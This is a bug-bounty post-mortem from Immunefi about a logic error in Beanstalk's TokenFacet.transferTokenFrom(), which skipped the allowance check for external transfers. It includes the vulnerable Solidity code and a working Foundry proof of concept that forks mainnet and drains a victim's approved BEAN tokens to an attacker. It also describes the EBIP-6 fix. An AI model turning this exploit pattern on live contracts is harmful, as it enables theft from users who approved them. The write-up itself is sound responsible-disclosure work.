Beanstalk Logic Error Bugfix Review

Summary

On Nov 15th, an anonymous whitehat submitted a critical logic error vulnerability to the Beanstalk protocol via Immunefi, demonstrating a direct theft of assets from the accounts that were approved for the Beanstalk contract. The Beanstalk Immunefi Committee estimated that the vulnerability could have resulted in a loss of up to $3.1 million in funds, as $537k worth of BEAN tokens and $2.5 million non-BEAN assets were at risk.

Fortunately, thanks to the whitehat’s swift discovery and report via Immunefi, the Beanstalk Community Multisig was able to quickly remediate the issue, and no user funds were lost.

The whitehat was awarded 181,850 BEAN tokens ($181,850 USD) through Beanstalk’s bug bounty program on Immunefi.

What is Beanstalk?

Beanstalk is a permissionless stablecoin protocol built on Ethereum. It aims to create a monetary basis for a rent-free economy on the Ethereum network through its native fiat currency, the stablecoin called Bean.

Beanstalk’s primary objective is to incentivize independent market participants to sustainably cross the price of 1 Bean over its dollar peg. To achieve this, Beanstalk focuses on providing a stablecoin that does not compromise on decentralization, does not require collateral, has competitive carrying costs, and trends towards increased stability and liquidity.

Vulnerability Analysis

The whitehat reported the vulnerability in one of the facet libraries which the Beanstalk diamond proxy contract was using. The library is available here.

A diamond proxy is a modular smart contract system that can be upgraded or extended after deployment without any significant size constraints. This system operates by using external functions provided by contracts, which are known as facets. The facets are independent contracts that can access shared internal functions, libraries, and state variables.

More information on how diamond proxy works can be found here.

In this instance, the Beanstalk diamond proxy was utilizing the Token Facet, which is responsible for handling the logic of farming, such as querying the internal balances of accounts, approving tokens, and transferring tokens. The vulnerability was discovered in the transferTokenFrom() function of the Token Facet, which transfers tokens from the sender to the recipient.

This Token Facet contract can be viewed at the following address.

The facets used by the Beanstalk Diamond Proxy can be explored on Louper, an interface for inspecting Ethereum diamond proxy facets. Using this interface, we can easily find the TokenFacet contract.

 function transferTokenFrom(
       IERC20 token,
       address sender,
       address recipient,
       uint256 amount,
       LibTransfer.From fromMode,
       LibTransfer.To toMode
   ) external payable nonReentrant {
       uint256 beforeAmount = LibBalance.getInternalBalance(sender, token);
       LibTransfer.transferToken(
           token,
           sender,
           recipient,
           amount,
           fromMode,
           toMode
       );


       if (sender != msg.sender) {
           uint256 deltaAmount = beforeAmount.sub(
               LibBalance.getInternalBalance(sender, token)
           );
           if (deltaAmount > 0) {
               LibTokenApprove.spendAllowance(sender, msg.sender, token, deltaAmount);
           }
       }
   }

The Token Facet has a function called transferTokenFrom(), which transfers tokens from a sender to a recipient. This function has an additional argument for transfer modes (fromModetoMode), which can be either EXTERNAL or INTERNAL.

  1. The INTERNAL mode updates the internal token balance of the account in the LibBalance facet, which contains all of the accounting logic of the contract.
  2. The EXTERNAL mode transfers the amount of tokens directly from the sender to the recipient using the token.safeTransferFrom call.

The vulnerability arises due to the fact that the transferTokenFrom() function only checks the allowance for the internal balance for the msg.sender, but not for external transfers.

However, if msg.sender calls the function with the EXTERNAL transfer type, the allowance is not checked and the LibTransfer.transferToken(…) is involved, which calls the token.safeTransferFrom(victim,attacker,amount) and the attacker would receive the funds from the victim’s account who has already granted approval to the Beanstalk contract for the transfer of the given token.

It should be noted that this vulnerability only affected externally owned accounts (EOA) or contracts that had authorized the Beanstalk contract to handle their tokens using ERC20 approve().

 function transferToken(
       IERC20 token,
       address sender,
       address recipient,
       uint256 amount,
       From fromMode,
       To toMode
   ) internal returns (uint256 transferredAmount) {
       if (fromMode == From.EXTERNAL && toMode == To.EXTERNAL) {
           uint256 beforeBalance = token.balanceOf(recipient);
           token.safeTransferFrom(sender, recipient, amount);
           return token.balanceOf(recipient).sub(beforeBalance);
       }
       amount = receiveToken(token, amount, sender, fromMode);
       sendToken(token, amount, recipient, toMode);
       return amount;
   }

Proof of Concept (PoC):

The Immunefi team prepared the following PoC to demonstrate the vulnerability.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;


import "forge-std/Test.sol";
// RPC_URL=$ALCHEMY_API forge test --match-contract BeanStalkPoC -vvv


contract BeanStalkPoC is Test {
   IBEAN beanstalk = IBEAN(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
   IERC20 bean = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);


   address attacker;
   address victim;


   function setUp() public {
       vm.createSelectFork(vm.envString("RPC_URL"), 15970150);
       attacker = makeAddr("attacker");
       victim = makeAddr("victim");
       deal(address(bean), victim, 10000e18);
   }


   function testPoC() public {
       vm.prank(victim);
       bean.approve(address(beanstalk),10000e18);


       console.log("ALLOWANCE FOR BEAN TOKENS: ",bean.allowance(victim,address(beanstalk)));
       uint256 victimBalBefore = bean.balanceOf(victim);
       uint256 attackerBalBefore = bean.balanceOf(attacker);


       vm.prank(attacker);
       beanstalk.transferTokenFrom(bean,victim,attacker,victimBalBefore,LibTransfer.From.EXTERNAL,LibTransfer.To.EXTERNAL);


       uint256 victimBalAfter = bean.balanceOf(victim);
       uint256 attackerBalAfter = bean.balanceOf(attacker);
       assertEq(attackerBalAfter, victimBalBefore);


       console.log("victim balBefore : ",victimBalBefore,", victim balAfter :",victimBalAfter);
       console.log("attacker balBefore: ",attackerBalBefore,", attacker balAfter :",attackerBalAfter);
   }
}


library LibTransfer {
   enum From {
       EXTERNAL,
       INTERNAL,
       EXTERNAL_INTERNAL,
       INTERNAL_TOLERANT
   }
   enum To {
       EXTERNAL,
       INTERNAL
   }
}


interface IBEAN {
       function transferTokenFrom(
       IERC20 token,
       address sender,
       address recipient,
       uint256 amount,
       LibTransfer.From fromMode,
       LibTransfer.To toMode) external;
}


interface IERC20 {
   /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
   event Transfer(address indexed from, address indexed to, uint256 value);


   /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
   event Approval(address indexed owner, address indexed spender, uint256 value);


   /**
    * @dev Returns the amount of tokens in existence.
    */
   function totalSupply() external view returns (uint256);


   /**
    * @dev Returns the amount of tokens owned by `account`.
    */
   function balanceOf(address account) external view returns (uint256);


   /**
    * @dev Moves `amount` tokens from the caller's account to `to`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transfer(address to, uint256 amount) external returns (bool);


   /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
   function allowance(address owner, address spender) external view returns (uint256);


   /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
   function approve(address spender, uint256 amount) external returns (bool);


   /**
    * @dev Moves `amount` tokens from `from` to `to` using the
    * allowance mechanism. `amount` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

Funds at Risk

The total funds at risk due to this vulnerability was about $3,087,655. The following table is the composition of multiple assets and the value in dollars at risk.

Vulnerability Fix

The Beanstalk team took prompt action after the whitehat reported the vulnerability in the Beanstalk Market contract. An EBIP (Emergency Beanstalk Improvement Proposal) was submitted to remove the vulnerable function transferTokenFrom(…) until a suitable fix could be implemented.

To address the issue, the Beanstalk Community Multisig removed the transferTokenFrom(…) functionality and introduced a new function, transferInternalTokenFrom(…), which will always transfer with INTERNAL fromMode.

The changes were made in accordance with the BIP. They were implemented in EBIP-6 and the Facet contract upgrade, as outlined in the fixed GitHub pull request.

Acknowledgements

We would like to thank the anonymous whitehat for doing an amazing job and responsibly disclosing such an important bug. Big props also to the Beanstalk Immunefi Committee who responded quickly to the report and patched it.

If you’d like to start bug hunting, we got you. Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.

And if you’re feeling good about your skillset and want to see if you will find bugs in the code, check out the bug bounty program from Beanstalk.